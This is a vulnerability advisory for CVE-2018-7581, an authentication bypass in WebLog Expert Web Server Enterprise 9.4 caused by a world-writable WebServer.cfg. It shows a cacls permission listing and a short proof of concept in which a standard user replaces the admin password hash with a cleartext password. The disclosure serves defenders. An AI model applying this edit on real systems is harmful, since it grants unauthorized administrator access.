    Vulnerability Type:
    ===================
    Authentication Bypass
    
    
    
    CVE Reference:
    ==============
    CVE-2018-7581
    
    
    
    Security Issue:
    ================
    The "WebServer.cfg" under "ProgramData\WebLog Expert\WebServer\" used by WebLog Expert Web Server Enterprise 9.4
    has weak permissions (BUILTIN\Users:(ID)C), which allows local users to set a cleartext password and login as admin.
    
    A standard non Windows Administrator user can edit the 'WebServer.cfg' file under "C:\ProgramData\WebLog Expert\WebServer"
    set to a cleartext password and login as admin.
    
    e.g.
    
    C:\ProgramData\WebLog Expert\WebServer>cacls * | more
    C:\ProgramData\WebLog Expert\WebServer\WebServer.cfg BUILTIN\Users:(ID)C 
    BUILTIN\Administrators:(ID)C
    NT AUTHORITY\SYSTEM:(ID)F
    BUILTIN\Administrators:(ID)F
    
    
    Exploit/POC:
    =============
    Login as a 'Standard' Windows user
    Comment out the Admin hashed password using ';' then add any cleartext password as follows.
    
    [User:admin]
    Password=1234
    ;PasswordHash=3413C538CE5234FB194E82AE1F3954FD2BC848C0
